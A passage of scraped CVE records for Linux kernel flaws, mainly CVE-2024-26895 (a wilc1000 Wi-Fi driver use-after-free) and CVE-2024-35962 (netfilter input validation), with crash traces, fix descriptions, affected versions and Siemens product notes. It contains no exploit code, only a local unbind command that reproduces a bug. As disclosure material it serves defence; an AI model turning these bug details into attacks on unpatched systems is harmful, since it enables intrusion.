eb b1 e8 5c 09 b5 ff 48 c7 c7 88 58 64 86 e8 e0 0d 71 02 eb\nRSP: 0018:ffffc9000c6d7ce0 EFLAGS: 00010286\nRAX: 0000000000000000 RBX: ffff8880422b8b00 RCX: ffffffff8110503c\nRDX: ffff888030652f00 RSI: ffffffff81105045 RDI: 0000000000000001\nRBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000001 R11: ffffffff81bb62cb R12: ffffffff84807ffc\nR13: ffff88804ad6fcc0 R14: ffffffff84807ffc R15: ffffffff85741ff8\nFS:  00007f30cfba8640(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ff51afe8000 CR3: 000000005a60a005 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n rpc_proc_unregister+0x64/0x70 net/sunrpc/stats.c:310\n nfs_net_exit+0x1c/0x30 fs/nfs/inode.c:2438\n ops_exit_list+0x62/0xb0 net/core/net_namespace.c:170\n setup_net+0x46c/0x660 net/core/net_namespace.c:372\n copy_net_ns+0x244/0x590 net/core/net_namespace.c:505\n create_new_namespaces+0x2ed/0x770 kernel/nsproxy.c:110\n unshare_nsproxy_namespaces+0xae/0x160 kernel/nsproxy.c:228\n ksys_unshare+0x342/0x760 kernel/fork.c:3322\n __do_sys_unshare kernel/fork.c:3393 [inline]\n __se_sys_unshare kernel/fork.c:3391 [inline]\n __x64_sys_unshare+0x1f/0x30 kernel/fork.c:3391\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x4f/0x110 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x46/0x4e\nRIP: 0033:0x7f30d0febe5d\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 8b 0d 73 9f 1b 00 f7 d8 64 89 01 48\nRSP: 002b:00007f30cfba7cc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000110\nRAX: ffffffffffffffda RBX: 00000000004bbf80 RCX: 00007f30d0febe5d\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 000000006c020600\nRBP: 00000000004bbf80 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000002\nR13: 000000000000000b R14: 00007f30d104c530 R15: 0000000000000000\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:17:25.913Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b33ca18c3a1190208dfd569c4fa8a2f93084709f"
        },
        {
          "url": "https://git.kernel.org/stable/c/d4891d817350c67392d4731536945f3809a2a0ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea6ce93327bd2c8a0c6cf6f2f0e800f3b778f021"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ae63bd858691bee0e2a92571f2fbb36a4d86d65"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a1f89c98dcc542dd6d287e573523714702e0f9c"
        },
        {
          "url": "https://git.kernel.org/stable/c/9909dde2e53a19585212c32fe3eda482b5faaaa3"
        },
        {
          "url": "https://git.kernel.org/stable/c/24457f1be29f1e7042e50a7749f5c2dde8c433c8"
        }
      ],
      "title": "nfs: Handle error of rpc_proc_register() in nfs_net_init().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36939",
    "datePublished": "2024-05-30T15:29:27.517Z",
    "dateReserved": "2024-05-30T15:25:07.071Z",
    "dateUpdated": "2026-05-12T11:54:17.924Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26895 (GCVE-0-2024-26895)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

wifi: wilc1000: prevent use-after-free on vif when cleaning up all interfaces

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: wilc1000: prevent use-after-free on vif when cleaning up all interfaces wilc_netdev_cleanup currently triggers a KASAN warning, which can be observed on interface registration error path, or simply by removing the module/unbinding device from driver: echo spi0.1 > /sys/bus/spi/drivers/wilc1000_spi/unbind ================================================================== BUG: KASAN: slab-use-after-free in wilc_netdev_cleanup+0x508/0x5cc Read of size 4 at addr c54d1ce8 by task sh/86 CPU: 0 PID: 86 Comm: sh Not tainted 6.8.0-rc1+ #117 Hardware name: Atmel SAMA5 unwind_backtrace from show_stack+0x18/0x1c show_stack from dump_stack_lvl+0x34/0x58 dump_stack_lvl from print_report+0x154/0x500 print_report from kasan_report+0xac/0xd8 kasan_report from wilc_netdev_cleanup+0x508/0x5cc wilc_netdev_cleanup from wilc_bus_remove+0xc8/0xec wilc_bus_remove from spi_remove+0x8c/0xac spi_remove from device_release_driver_internal+0x434/0x5f8 device_release_driver_internal from unbind_store+0xbc/0x108 unbind_store from kernfs_fop_write_iter+0x398/0x584 kernfs_fop_write_iter from vfs_write+0x728/0xf88 vfs_write from ksys_write+0x110/0x1e4 ksys_write from ret_fast_syscall+0x0/0x1c [...] Allocated by task 1: kasan_save_track+0x30/0x5c __kasan_kmalloc+0x8c/0x94 __kmalloc_node+0x1cc/0x3e4 kvmalloc_node+0x48/0x180 alloc_netdev_mqs+0x68/0x11dc alloc_etherdev_mqs+0x28/0x34 wilc_netdev_ifc_init+0x34/0x8ec wilc_cfg80211_init+0x690/0x910 wilc_bus_probe+0xe0/0x4a0 spi_probe+0x158/0x1b0 really_probe+0x270/0xdf4 __driver_probe_device+0x1dc/0x580 driver_probe_device+0x60/0x140 __driver_attach+0x228/0x5d4 bus_for_each_dev+0x13c/0x1a8 bus_add_driver+0x2a0/0x608 driver_register+0x24c/0x578 do_one_initcall+0x180/0x310 kernel_init_freeable+0x424/0x484 kernel_init+0x20/0x148 ret_from_fork+0x14/0x28 Freed by task 86: kasan_save_track+0x30/0x5c kasan_save_free_info+0x38/0x58 __kasan_slab_free+0xe4/0x140 kfree+0xb0/0x238 device_release+0xc0/0x2a8 kobject_put+0x1d4/0x46c netdev_run_todo+0x8fc/0x11d0 wilc_netdev_cleanup+0x1e4/0x5cc wilc_bus_remove+0xc8/0xec spi_remove+0x8c/0xac device_release_driver_internal+0x434/0x5f8 unbind_store+0xbc/0x108 kernfs_fop_write_iter+0x398/0x584 vfs_write+0x728/0xf88 ksys_write+0x110/0x1e4 ret_fast_syscall+0x0/0x1c [...] David Mosberger-Tan initial investigation [1] showed that this use-after-free is due to netdevice unregistration during vif list traversal. When unregistering a net device, since the needs_free_netdev has been set to true during registration, the netdevice object is also freed, and as a consequence, the corresponding vif object too, since it is attached to it as private netdevice data. The next occurrence of the loop then tries to access freed vif pointer to the list to move forward in the list. Fix this use-after-free thanks to two mechanisms: - navigate in the list with list_for_each_entry_safe, which allows to safely modify the list as we go through each element. For each element, remove it from the list with list_del_rcu - make sure to wait for RCU grace period end after each vif removal to make sure it is safe to free the corresponding vif too (through unregister_netdev) Since we are in a RCU "modifier" path (not a "reader" path), and because such path is expected not to be concurrent to any other modifier (we are using the vif_mutex lock), we do not need to use RCU list API, that's why we can benefit from list_for_each_entry_safe. [1] https://lore.kernel.org/linux-wireless/ab077dbe58b1ea5de0a3b2ca21f275a07af967d2.camel@egauge.net/

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/5956f4203b6cdd075…
https://git.kernel.org/stable/c/fe20e3d56bc911408…
https://git.kernel.org/stable/c/a9545af2a533739ff…
https://git.kernel.org/stable/c/3da9d32b7f4a1a9f7…
https://git.kernel.org/stable/c/24228dcf1d30c2231…
https://git.kernel.org/stable/c/73a2aa0aef86c2c07…
https://git.kernel.org/stable/c/cb5942b77c05d5431…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < 5956f4203b6cdd0755bbdd21b45f3933c7026208 (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < fe20e3d56bc911408fc3c27a17c59e9d7885f7d1 (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < a9545af2a533739ffb64d6c9a6fec6f13e2b505f (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < 3da9d32b7f4a1a9f7e4bb15bb82f2b2dd6719447 (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < 24228dcf1d30c2231caa332be7d3090ac59fbfe9 (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < 73a2aa0aef86c2c07be5a2f42c9e6047e1a2f7bb (git) Affected: 8399918f3056e1033f0f4c08eab437fb38d6f22d , < cb5942b77c05d54310a0420cac12935e9b6aa21c (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.707Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5956f4203b6cdd0755bbdd21b45f3933c7026208"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fe20e3d56bc911408fc3c27a17c59e9d7885f7d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a9545af2a533739ffb64d6c9a6fec6f13e2b505f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3da9d32b7f4a1a9f7e4bb15bb82f2b2dd6719447"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24228dcf1d30c2231caa332be7d3090ac59fbfe9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/73a2aa0aef86c2c07be5a2f42c9e6047e1a2f7bb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cb5942b77c05d54310a0420cac12935e9b6aa21c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26895",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:12.761255Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:23.894Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:14.419Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/microchip/wilc1000/netdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5956f4203b6cdd0755bbdd21b45f3933c7026208",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "fe20e3d56bc911408fc3c27a17c59e9d7885f7d1",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "a9545af2a533739ffb64d6c9a6fec6f13e2b505f",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "3da9d32b7f4a1a9f7e4bb15bb82f2b2dd6719447",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "24228dcf1d30c2231caa332be7d3090ac59fbfe9",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "73a2aa0aef86c2c07be5a2f42c9e6047e1a2f7bb",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            },
            {
              "lessThan": "cb5942b77c05d54310a0420cac12935e9b6aa21c",
              "status": "affected",
              "version": "8399918f3056e1033f0f4c08eab437fb38d6f22d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/microchip/wilc1000/netdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wilc1000: prevent use-after-free on vif when cleaning up all interfaces\n\nwilc_netdev_cleanup currently triggers a KASAN warning, which can be\nobserved on interface registration error path, or simply by\nremoving the module/unbinding device from driver:\n\necho spi0.1 \u003e /sys/bus/spi/drivers/wilc1000_spi/unbind\n\n==================================================================\nBUG: KASAN: slab-use-after-free in wilc_netdev_cleanup+0x508/0x5cc\nRead of size 4 at addr c54d1ce8 by task sh/86\n\nCPU: 0 PID: 86 Comm: sh Not tainted 6.8.0-rc1+ #117\nHardware name: Atmel SAMA5\n unwind_backtrace from show_stack+0x18/0x1c\n show_stack from dump_stack_lvl+0x34/0x58\n dump_stack_lvl from print_report+0x154/0x500\n print_report from kasan_report+0xac/0xd8\n kasan_report from wilc_netdev_cleanup+0x508/0x5cc\n wilc_netdev_cleanup from wilc_bus_remove+0xc8/0xec\n wilc_bus_remove from spi_remove+0x8c/0xac\n spi_remove from device_release_driver_internal+0x434/0x5f8\n device_release_driver_internal from unbind_store+0xbc/0x108\n unbind_store from kernfs_fop_write_iter+0x398/0x584\n kernfs_fop_write_iter from vfs_write+0x728/0xf88\n vfs_write from ksys_write+0x110/0x1e4\n ksys_write from ret_fast_syscall+0x0/0x1c\n\n[...]\n\nAllocated by task 1:\n kasan_save_track+0x30/0x5c\n __kasan_kmalloc+0x8c/0x94\n __kmalloc_node+0x1cc/0x3e4\n kvmalloc_node+0x48/0x180\n alloc_netdev_mqs+0x68/0x11dc\n alloc_etherdev_mqs+0x28/0x34\n wilc_netdev_ifc_init+0x34/0x8ec\n wilc_cfg80211_init+0x690/0x910\n wilc_bus_probe+0xe0/0x4a0\n spi_probe+0x158/0x1b0\n really_probe+0x270/0xdf4\n __driver_probe_device+0x1dc/0x580\n driver_probe_device+0x60/0x140\n __driver_attach+0x228/0x5d4\n bus_for_each_dev+0x13c/0x1a8\n bus_add_driver+0x2a0/0x608\n driver_register+0x24c/0x578\n do_one_initcall+0x180/0x310\n kernel_init_freeable+0x424/0x484\n kernel_init+0x20/0x148\n ret_from_fork+0x14/0x28\n\nFreed by task 86:\n kasan_save_track+0x30/0x5c\n kasan_save_free_info+0x38/0x58\n __kasan_slab_free+0xe4/0x140\n kfree+0xb0/0x238\n device_release+0xc0/0x2a8\n kobject_put+0x1d4/0x46c\n netdev_run_todo+0x8fc/0x11d0\n wilc_netdev_cleanup+0x1e4/0x5cc\n wilc_bus_remove+0xc8/0xec\n spi_remove+0x8c/0xac\n device_release_driver_internal+0x434/0x5f8\n unbind_store+0xbc/0x108\n kernfs_fop_write_iter+0x398/0x584\n vfs_write+0x728/0xf88\n ksys_write+0x110/0x1e4\n ret_fast_syscall+0x0/0x1c\n [...]\n\nDavid Mosberger-Tan initial investigation [1] showed that this\nuse-after-free is due to netdevice unregistration during vif list\ntraversal. When unregistering a net device, since the needs_free_netdev has\nbeen set to true during registration, the netdevice object is also freed,\nand as a consequence, the corresponding vif object too, since it is\nattached to it as private netdevice data. The next occurrence of the loop\nthen tries to access freed vif pointer to the list to move forward in the\nlist.\n\nFix this use-after-free thanks to two mechanisms:\n- navigate in the list with list_for_each_entry_safe, which allows to\n  safely modify the list as we go through each element. For each element,\n  remove it from the list with list_del_rcu\n- make sure to wait for RCU grace period end after each vif removal to make\n  sure it is safe to free the corresponding vif too (through\n  unregister_netdev)\n\nSince we are in a RCU \"modifier\" path (not a \"reader\" path), and because\nsuch path is expected not to be concurrent to any other modifier (we are\nusing the vif_mutex lock), we do not need to use RCU list API, that\u0027s why\nwe can benefit from list_for_each_entry_safe.\n\n[1] https://lore.kernel.org/linux-wireless/ab077dbe58b1ea5de0a3b2ca21f275a07af967d2.camel@egauge.net/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:29.936Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5956f4203b6cdd0755bbdd21b45f3933c7026208"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe20e3d56bc911408fc3c27a17c59e9d7885f7d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9545af2a533739ffb64d6c9a6fec6f13e2b505f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3da9d32b7f4a1a9f7e4bb15bb82f2b2dd6719447"
        },
        {
          "url": "https://git.kernel.org/stable/c/24228dcf1d30c2231caa332be7d3090ac59fbfe9"
        },
        {
          "url": "https://git.kernel.org/stable/c/73a2aa0aef86c2c07be5a2f42c9e6047e1a2f7bb"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb5942b77c05d54310a0420cac12935e9b6aa21c"
        }
      ],
      "title": "wifi: wilc1000: prevent use-after-free on vif when cleaning up all interfaces",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26895",
    "datePublished": "2024-04-17T10:27:46.585Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T11:50:14.419Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35962 (GCVE-0-2024-35962)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

netfilter: complete validation of user input

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: complete validation of user input In my recent commit, I missed that do_replace() handlers use copy_from_sockptr() (which I fixed), followed by unsafe copy_from_sockptr_offset() calls. In all functions, we can perform the @optlen validation before even calling xt_alloc_table_info() with the following check: if ((u64)optlen < (u64)tmp.size + sizeof(tmp)) return -EINVAL;

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/cf4bc359b76144a3d…
https://git.kernel.org/stable/c/97dab36e57c64106e…
https://git.kernel.org/stable/c/c760089aa98289b4b…
https://git.kernel.org/stable/c/89242d9584c342cb8…
https://git.kernel.org/stable/c/562b7245131f6e9f1…
https://git.kernel.org/stable/c/65acf6e0501ac8880…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0f038242b77ddfc505bf4163d4904c1abd2e74d6 , < cf4bc359b76144a3dd55d7c09464ef4c5f2b2b05 (git) Affected: 440e948cf0eff32cfe322dcbca3f2525354b159b , < 97dab36e57c64106e1c8ebd66cbf0d2d1e52d6b7 (git) Affected: 18aae2cb87e5faa9c5bd865260ceadac60d5a6c5 , < c760089aa98289b4b88a7ff5a62dd92845adf223 (git) Affected: 81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525 , < 89242d9584c342cb83311b598d9e6b82572eadf8 (git) Affected: 58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018 , < 562b7245131f6e9f1d280c8b5a8750f03edfc05c (git) Affected: 0c83842df40f86e529db6842231154772c20edcc , < 65acf6e0501ac8880a4f73980d01b5d27648b956 (git)
Linux	Linux	Affected: 5.10.215 , < 5.10.216 (semver) Affected: 5.15.154 , < 5.15.156 (semver) Affected: 6.1.85 , < 6.1.87 (semver) Affected: 6.6.26 , < 6.6.28 (semver) Affected: 6.8.5 , < 6.8.7 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.038Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cf4bc359b76144a3dd55d7c09464ef4c5f2b2b05"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/97dab36e57c64106e1c8ebd66cbf0d2d1e52d6b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c760089aa98289b4b88a7ff5a62dd92845adf223"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/89242d9584c342cb83311b598d9e6b82572eadf8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/562b7245131f6e9f1d280c8b5a8750f03edfc05c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/65acf6e0501ac8880a4f73980d01b5d27648b956"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35962",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:40:32.586631Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:14.037Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:14.498Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/arp_tables.c",
            "net/ipv4/netfilter/ip_tables.c",
            "net/ipv6/netfilter/ip6_tables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "cf4bc359b76144a3dd55d7c09464ef4c5f2b2b05",
              "status": "affected",
              "version": "0f038242b77ddfc505bf4163d4904c1abd2e74d6",
              "versionType": "git"
            },
            {
              "lessThan": "97dab36e57c64106e1c8ebd66cbf0d2d1e52d6b7",
              "status": "affected",
              "version": "440e948cf0eff32cfe322dcbca3f2525354b159b",
              "versionType": "git"
            },
            {
              "lessThan": "c760089aa98289b4b88a7ff5a62dd92845adf223",
              "status": "affected",
              "version": "18aae2cb87e5faa9c5bd865260ceadac60d5a6c5",
              "versionType": "git"
            },
            {
              "lessThan": "89242d9584c342cb83311b598d9e6b82572eadf8",
              "status": "affected",
              "version": "81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525",
              "versionType": "git"
            },
            {
              "lessThan": "562b7245131f6e9f1d280c8b5a8750f03edfc05c",
              "status": "affected",
              "version": "58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018",
              "versionType": "git"
            },
            {
              "lessThan": "65acf6e0501ac8880a4f73980d01b5d27648b956",
              "status": "affected",
              "version": "0c83842df40f86e529db6842231154772c20edcc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/arp_tables.c",
            "net/ipv4/netfilter/ip_tables.c",
            "net/ipv6/netfilter/ip6_tables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.10.216",
              "status": "affected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThan": "5.15.156",
              "status": "affected",
              "version": "5.15.154",
